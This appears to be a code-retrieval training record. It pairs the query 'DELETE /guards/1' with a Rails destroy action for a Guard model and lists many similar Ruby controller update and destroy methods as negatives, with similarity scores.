"def update\n @shooting_range = ShootingRange.find(params[:id])\n\n respond_to do |format|\n if @shooting_range.update_attributes(params[:shooting_range])\n format.html { redirect_to(@shooting_range, :notice => 'Shooting range was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shooting_range.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @insurance_master = InsuranceMaster.find(params[:id])\n\n respond_to do |format|\n if @insurance_master.update_attributes(params[:insurance_master])\n format.html { redirect_to(\"/insurance_masters/new?user_id=#{params[:user_id]}\", :notice => 'InsuranceMaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @insurance_master.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @snap = Snap.find(params[:id])\n\n respond_to do |format|\n if @snap.update_attributes(params[:snap])\n format.html { redirect_to(@snap, :notice => 'Snap was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @snap.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @card = Card.find(params[:id])\n respond_to do |format|\n if @card.update_attributes(params[:card])\n flash[:notice] = 'Card was successfully updated.'\n format.html { redirect_to(deck_card_url(@deck, @card)) }\n format.xml { head :ok }\n else\n @decks = Deck.find(:all, :order => 'title')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to deck_cards_url(@deck), notice: 'Deck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gear = Gear.find(params[:id])\n\n respond_to do |format|\n if @gear.update_attributes(params[:gear])\n flash[:notice] = 'Gear was successfully updated.'\n format.html { redirect_to('/gears') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gear.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.find(params[:id])\n\n respond_to do |format|\n if @absence_request.update_attributes(params[:absence_request])\n format.html { redirect_to(@absence_request, :notice => 'Absence request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @guardianship = Guardianship.find(params[:id])\n\n respond_to do |format|\n if @guardianship.update_attributes(params[:guardianship])\n format.html { redirect_to @guardianship, notice: 'Guardianship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guardianship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hand = Hand.find(params[:id])\n\n respond_to do |format|\n if @hand.update_attributes(params[:hand])\n format.html { redirect_to @hand, notice: 'Hand was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hand.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @simthing = Simthing.find(params[:id])\n\n respond_to do |format|\n if @simthing.update_attributes(params[:simthing])\n flash[:notice] = 'Simthing was successfully updated.'\n format.html { redirect_to(@simthing) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @simthing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @guarantor = Guarantor.find(params[:id])\n\n respond_to do |format|\n if @guarantor.update_attributes(params[:guarantor])\n applicant=Applicant.find(@guarantor.applicant_id)\n format.html { redirect_to(applicant, :notice => 'Guarantor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guarantor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def agree\n stage = Stage.find(params[:id])\n user = StageUser.find(:first, :conditions => [\"asset_user_id = ? AND stage_id =?\", current_user.id, stage.id])\n user.has_agreed_to_contract = true\n if user.save\n redirect_to asset_manager_stage_path(stage)\n else\n redirect_to contract_asset_manager_stage_path(stage)\n end\n end",
"def update\n @accessory = Accessory.find(params[:id])\n\n respond_to do |format|\n if @accessory.update_attributes(params[:accessory])\n flash[:notice] = 'Accessory was successfully updated.'\n format.html { redirect_to(@accessory) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accessory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n if @bcard.update_attributes(params[:bcard])\n format.html { redirect_to(@bcard, :notice => 'Bcard was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bcard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sugar_bag = SugarBag.find(params[:id])\n\n respond_to do |format|\n if @sugar_bag.update_attributes(params[:sugar_bag])\n format.html { redirect_to @sugar_bag, notice: 'Sugar bag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sugar_bag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @award.update(award_params)\n format.html { redirect_to new_answer_url, notice: 'Award was successfully updated.' }\n format.json { render :show, status: :ok, location: @award }\n else\n format.html { render :edit }\n format.json { render json: {:errors => @award.errors}, status: :unprocessable_entity }\n end\n end\n end",
"def set_award\n @award = @student.awards.find(params[:id])\n# @award = Award.find(params[:id])\n end",
"def update\n @hazard = Hazard.find(params[:id])\n\n respond_to do |format|\n if @hazard.update_attributes(params[:hazard])\n flash[:notice] = 'Hazard was successfully updated.'\n format.html { redirect_to(@hazard) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hazard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @award.update(award_params)\n format.html { redirect_to student_awards_url(@student),\n notice: 'Award was successfully updated.' }\n# was format.html { redirect_to @award,\n# notice: 'Award was successfully updated.' }\n format.json { render :show, status: :ok, location: @award }\n else\n format.html { render :edit }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n if @allowance.update_attributes(params[:allowance])\n format.html { redirect_to @allowance, notice: 'Allowance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @box = Box.find(params[:id])\n\n respond_to do |format|\n if @box.update_attributes(params[:box])\n #format.html { redirect_to(@box, :notice => 'Box was successfully updated.') }\n format.html {redirect_to my_boxes_path}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @box.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @idea = Idea.find(params[:id])\n stock = Stock.find(params[:stock_id])\n @idea.stock = stock\n \n respond_to do |format|\n if @idea.update_attributes(params[:idea])\n format.html { redirect_to(@idea, :notice => 'Idea was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @idea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @command = Command.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n if @command.update_attributes(params[:command])\n format.xml { head :ok }\n else\n format.xml { render :xml => @command.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @gift.user == @current_user\n if @gift.update(gift_params)\n render json: @gift, include: :ages\n else\n render json: @gift.errors, status: :unprocessable_entity\n end\n else\n render json: { errors: \"not authorized\" }, status: :unauthorized\n end\n end",
"def update\n respond_to do |format|\n if @org_award.update(org_award_params)\n format.html { redirect_to @org_award, notice: 'Org award was successfully updated.' }\n format.json { render :show, status: :ok, location: @org_award }\n else\n format.html { render :edit }\n format.json { render json: @org_award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boss = Boss.find(params[:id])\n\n respond_to do |format|\n if @boss.update_attributes(params[:boss])\n flash[:notice] = 'Boss was successfully updated.'\n format.html { redirect_to(@boss) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boss.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @card.update(card_params)\n if @card.errors.any?\n render json: @card.errors, status: :unprocessable_entity\n else\n render json: @card, status: 201\n end\n end",
"def update\n @guarantor = Guarantor.find(params[:id])\n\n respond_to do |format|\n if @guarantor.update_attributes(params[:guarantor])\n format.html { redirect_to @guarantor, notice: 'Guarantor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guarantor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agent = Agent.find(params[:id])\n\n respond_to do |format|\n if @agent.update_attributes(params[:agent])\n format.html { redirect_to(@agent, :notice => 'Agent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @agent.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @barrack = Barrack.find(params[:id])\n\n respond_to do |format|\n if @barrack.update_attributes(params[:barrack])\n format.html { redirect_to @barrack, notice: 'Barrack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @barrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @collection_card = CollectionCard.find(params[:id])\n\n respond_to do |format|\n if @collection_card.update_attributes(params[:collection_card])\n format.html { redirect_to(@collection_card, :notice => 'Collection card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @collection_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @server_rack = ServerRack.find(params[:id])\n\n respond_to do |format|\n if @server_rack.update_attributes(params[:server_rack])\n format.html { redirect_to(@server_rack, :notice => 'Server rack was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @server_rack.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put_acl(bucket, key, acl_xml_doc, headers={})\n return generate_url('PUT', bucket, CGI::escape(key), {'acl' => nil}, headers)\n end",
"def update\n Rails.logger.debug \"GOT TO matches -> update\"\n match = Match.find(params[:match_id].to_i)\n requestor = match.user_for_id(params[:requestor_id].to_i)\n recipient = match.user_for_id(params[:requested_id].to_i)\n match.ask_for_cards(requestor: requestor, recipient: recipient, card_rank: params['rank'].upcase)\n match.save!\n render json: nil, status: :ok\n end",
"def update\n respond_to do |format|\n if @reward.update(reward_params)\n format.html { redirect_to @reward, notice: 'Reward was successfully updated.' }\n format.json { render :show, status: :ok, location: @reward }\n else\n format.html { render :edit }\n format.json { render json: @reward.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_card\n puts '39393', request.path_parameters, '94358{394'\n @card = Card.find(params[:id])\n end",
"def update\n @gift = Gift.find(params[:id])\n\n respond_to do |format|\n if @gift.update_attributes(params[:gift])\n format.html { redirect_to @gift, notice: 'Gift was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n if @cards_question.update_attributes(params[:cards_question])\n format.html { redirect_to @cards_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cards_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @holder = Holder.find(params[:id])\n\n respond_to do |format|\n if @holder.update_attributes(params[:holder])\n format.html { redirect_to(@holder, :notice => 'Holder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @holder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @good = Good.find(params[:id])\n\n respond_to do |format|\n if @good.update_attributes(params[:good])\n format.html { redirect_to :action => \"index\" }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @good.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def approve\n @booking = Booking.find(params[:id])\n @booking.status = \"accepted\"\n @booking.save\n\n authorize @booking\n redirect_to owned_consoles_path\n end",
"def update\n @bearing = Bearing.find(params[:id])\n if params[:to_needs_editing] # if update call from needs editing, set part status accordingly\n @bearing.release_status = \"needs editing\"\n else\n @bearing.release_status = \"pending\"\n end\n respond_to do |format|\n if @bearing.update_attributes(bearing_params)\n format.html { redirect_to(@bearing, :notice => 'Bearing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bearing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def claim\n put :claim\n end",
"def update\n @omatsuri = Omatsuri.find(params[:id])\n\n respond_to do |format|\n if @omatsuri.update_attributes(params[:omatsuri])\n flash[:notice] = 'Omatsuri was successfully updated.'\n format.html { redirect_to(@omatsuri) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @omatsuri.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n #@card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to cards_url, :notice => 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end"
] |
[
"0.5905561",
"0.5754443",
"0.5661206",
"0.5576061",
"0.55624217",
"0.55200994",
"0.5447036",
"0.5308832",
"0.5258701",
"0.52486163",
"0.52459127",
"0.52223533",
"0.51879245",
"0.51745313",
"0.51508856",
"0.5147677",
"0.5139272",
"0.51369625",
"0.51262873",
"0.51022166",
"0.5092233",
"0.5087997",
"0.50830007",
"0.50804967",
"0.5073741",
"0.5069414",
"0.5054845",
"0.50398225",
"0.5031604",
"0.5030919",
"0.5023857",
"0.5023857",
"0.50181",
"0.50139225",
"0.49880376",
"0.49880376",
"0.49880376",
"0.49833727",
"0.4980812",
"0.4978805",
"0.49763438",
"0.49763057",
"0.49655446",
"0.49594268",
"0.49575794",
"0.49509567",
"0.49509278",
"0.49482465",
"0.49439946",
"0.49422523",
"0.49397865",
"0.49328572",
"0.4928898",
"0.49275976",
"0.4926164",
"0.4924912",
"0.49238813",
"0.49172232",
"0.4911388",
"0.4905261",
"0.4889445",
"0.48858312",
"0.48837507",
"0.48833042",
"0.4881522",
"0.4880006",
"0.48758054",
"0.48657873",
"0.4857796",
"0.48572132",
"0.4855733",
"0.48543736",
"0.4852313",
"0.48510146",
"0.48504165",
"0.48457015",
"0.48438093",
"0.4840709",
"0.48362228",
"0.48350903",
"0.48215225",
"0.48210776",
"0.48205486",
"0.48177075",
"0.48164302",
"0.48156744",
"0.48126042",
"0.4811988",
"0.48097503",
"0.4805353",
"0.48039213",
"0.48036328",
"0.48034447",
"0.48016495",
"0.47989774",
"0.4793089",
"0.47895107",
"0.47860488",
"0.47822103",
"0.4781213"
] |
0.5285048
|
8
|
DELETE /guards/1 DELETE /guards/1.xml
|
def destroy
@guard = Guard.find(params[:id])
@guard.destroy
respond_to do |format|
format.html { redirect_to(guards_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @guarantor = Guarantor.find(params[:id])\n @guarantor.destroy\n applicant=Applicant.find(@guarantor.applicant_id)\n respond_to do |format|\n format.html { redirect_to(applicant, :notice => 'Guarantor deleted.') }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @compliance.destroy\n\n respond_to do |format|\n format.html { redirect_to(compliances_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @guarantor = Guarantor.find(params[:id])\n @guarantor.destroy\n\n respond_to do |format|\n format.html { redirect_to guarantors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check = Check.find(params[:id])\n @check.destroy\n\n respond_to do |format|\n format.html { redirect_to(checks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @helocagree = Helocagree.find(params[:id])\n @helocagree.destroy\n\n respond_to do |format|\n format.html { redirect_to(helocagrees_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @check = Check.find(params[:id])\n @check.destroy\n respond_to do |format|\n format.html { redirect_to(checks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @award = Award.find(params[:id])\n @award.destroy\n\n respond_to do |format|\n format.html { redirect_to(awards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @guardian = Guardian.find(params[:id])\n @guardian.destroy\n\n respond_to do |format|\n format.html { redirect_to(guardians_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @hazard = Hazard.find(params[:id])\n @hazard.destroy\n\n respond_to do |format|\n format.html { redirect_to(hazards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recommand = Recommand.find(params[:id])\n @recommand.destroy\n\n respond_to do |format|\n format.html { redirect_to(recommands_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @guide = Guide.find(params[:id])\n @guide.destroy\n\n respond_to do |format|\n format.html { redirect_to(guides_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambiance = Ambiance.find(params[:id])\n @ambiance.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambiances_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n\n respond_to do |format|\n format.html { redirect_to(accessories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @quirk = Quirk.accessible_by(current_ability).find(params[:id])\n @quirk.destroy\n\n respond_to do |format|\n format.html { redirect_to(quirks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy1\n @compare = Compare.find(params[:id])\n @compare.destroy\n\n respond_to do |format|\n format.html { redirect_to(compares_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @jido_guardian_rel = JidoGuardianRel.find(params[:id])\n @jido_guardian_rel.destroy\n\n respond_to do |format|\n format.html { redirect_to(jido_guardian_rels_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @guide = Guide.find(params[:id])\n @guide.destroy\n respond_to do |format|\n format.html { redirect_to guides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visarequest = Visarequest.find(params[:id])\n @visarequest.destroy\n\n respond_to do |format|\n format.html { redirect_to(visarequests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @garantium.destroy\n respond_to do |format|\n format.html { redirect_to garantia_url, notice: 'Garantium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @evil_wizard.destroy\n\n respond_to do |format|\n format.html { redirect_to(evil_wizards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @guarantor.destroy\n respond_to do |format|\n format.html { redirect_to guarantors_url, notice: 'Guarantor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @expectation = RiGse::Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @checklist = Checklist.find(params[:id])\n @checklist.destroy\n\n respond_to do |format|\n format.html { redirect_to(checklists_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n \n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def delete\n\n\tend",
"def destroy\n @decision = Decision.find(params[:id])\n @decision.destroy\n\n respond_to do |format|\n format.html { redirect_to(decisions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy; delete end",
"def delete\n request(:delete)\n end",
"def delete\n \n end",
"def destroy\n @insurance_master = InsuranceMaster.find(params[:id])\n @insurance_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(insurance_masters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @battalion = Battalion.find(params[:id])\n @battalion.destroy\n\n respond_to do |format|\n format.html { redirect_to(battalions_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @check_detail = CheckDetail.find(params[:id])\n @check_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(check_details_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @charge_master = ChargeMaster.find(params[:id])\n @charge_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(charge_masters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @remission_guide.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'La Guía de Remisión se eliminó satisfactoriamente.'\n redirect_to remission_guides_path\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home_check = HomeCheck.find(params[:id])\n @home_check.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_checks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @abuse = Abuse.find(params[:id])\n @abuse.destroy\n\n respond_to do |format|\n format.html { redirect_to(abuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aclpart = Aclpart.find(params[:id])\n @aclpart.destroy\n\n respond_to do |format|\n format.html { redirect_to(aclparts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @group_definition = GroupDefinition.find(params[:id])\n @group_definition.destroy\n\n respond_to do |format|\n format.html do\n if request.env['HTTP_REFERER']\n redirect_to(:back)\n else\n redirect_to(group_definitions_url)\n end\n end\n format.xml do\n head :ok\n end\n end\n end",
"def destroy\n @backup_check = BackupCheck.find(params[:id])\n internal_check = InternalCheck.find(params[:internal_check_id])\n @backup_check.destroy\n\n respond_to do |format|\n format.html { redirect_to internal_check }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reward_profile = RewardProfile.find(params[:id])\n @reward_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to(reward_profiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @snap = Snap.find(params[:id])\n @snap.destroy\n\n respond_to do |format|\n format.html { redirect_to(snaps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @groups_happening = GroupsHappening.find(params[:id])\n @groups_happening.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_happenings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ratgrade = Ratgrade.find(params[:id])\n @ratgrade.destroy\n\n respond_to do |format|\n format.html { redirect_to(ratgrades_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @policy_header = PolicyHeader.find(params[:id])\n @policy_header.destroy\n\n respond_to do |format|\n format.html { redirect_to(policy_headers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @deposit_threshold = DepositThreshold.find(params[:id])\n @deposit_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_thresholds_url) }\n format.xml { head :ok }\n end\n end",
"def delete(name)\n\n end",
"def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@award = Award.find(params[:id])\n\t\t@award.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(awards_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n @handbook = Handbook.find(params[:id])\n @handbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(handbooks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @burger = Burger.find(params[:id])\n @burger.destroy\n\n respond_to do |format|\n format.html { redirect_to(burgers_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n Checklist.find(params[:format]).destroy\n flash[:notice] = \"Delete successful\"\n redirect_to '/'\n end",
"def destroy\n @gadget = Gadget.find(params[:id])\n @gadget.destroy\n\n respond_to do |format|\n format.html { redirect_to(gadgets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n end",
"def destroy\r\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @good = Good.find(params[:id])\n @good.destroy\n\n respond_to do |format|\n format.html { redirect_to(goods_url) }\n format.xml { head :ok }\n end\n end",
"def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def delete(name); end",
"def delete(name); end",
"def destroy\n @bearing = Bearing.find(params[:id])\n @bearing.destroy\n\n respond_to do |format|\n format.html { redirect_to(bearings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @assertion.destroy\n respond_to do |format|\n format.html { redirect_to assertions_url, notice: 'Assertion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @giving_group = GivingGroup.find(params[:id])\n @giving_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(giving_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n\r\n end",
"def destroy\n @secretary = Secretary.find(params[:id])\n @secretary.destroy\n\n respond_to do |format|\n format.html { redirect_to(secretaries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @secretary = Secretary.find(params[:id])\n @secretary.destroy\n\n respond_to do |format|\n format.html { redirect_to(secretaries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @exam_candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to(candidates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cap = Cap.find(params[:id])\n @cap.destroy\n\n respond_to do |format|\n format.html { redirect_to(caps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cap = Cap.find(params[:id])\n @cap.destroy\n\n respond_to do |format|\n format.html { redirect_to(caps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n if options = Option.find_all_by_accessory_id(params[:id])\n options.each do |option|\n option.destroy\n end\n end\n respond_to do |format|\n format.html { redirect_to(accessories_url) }\n format.xml { head :ok }\n end\n end",
"def gp_delete_file(aid)\n data = Asn1Ber.encode [{:class => :application, :primitive => true,\n :number => 0x0F, :value => aid}]\n response = iso_apdu! :cla => 0x80, :ins => 0xE4, :p1 => 0x00, :p2 => 0x80,\n :data => data\n delete_confirmation = response[1, response[0]]\n delete_confirmation\n end",
